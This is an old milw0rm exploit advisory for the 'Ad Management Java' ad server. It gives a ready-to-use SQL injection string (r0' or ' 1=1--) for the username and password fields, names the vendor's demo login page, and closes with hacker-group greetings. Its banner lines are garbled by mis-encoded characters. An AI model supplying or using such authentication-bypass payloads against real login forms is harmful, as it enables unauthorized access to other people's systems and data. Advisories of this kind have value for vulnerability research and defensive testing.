Ad Management Java - Authentication Bypass

[�0�9�0�0�0�4] �0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4{�0�1¨�0�1�0�6�0�2… �0�1§�0�2�6�7�0�2�6�7�0�2�6�0 �0�1§�0�2�6�7�0�1±�0�1�0�2�0�2…�0�2�6�9 �0�1§�0�2�6�7�0�1±�0�1�0�2�0�2�0�7�0�2…}�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4�0�9�0�0�0�4

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability

 [~]Vendor: www.adserversolutions.com

 [~]Software: Ad Management Java

 [~]author: ((�0�5�0�53d D3v!L))

 [~] Date: 28.11.2008

 [~] Home: www.ahacker.biz

 [~] contact: N/A

[~]�0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 {R0}�0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0 �0�9�0�0

 [~] Exploit:

 [~] username: r0' or ' 1=1--
 [~] password: r0' or ' 1=1--


 [�0�9�0�0 ] login 4 d3m0:

  www.adserversolutions.com/admgmt_460/logon.jsp

 [~]-----------------------------{str0ke}---------------------------------------------------

  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]

 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11]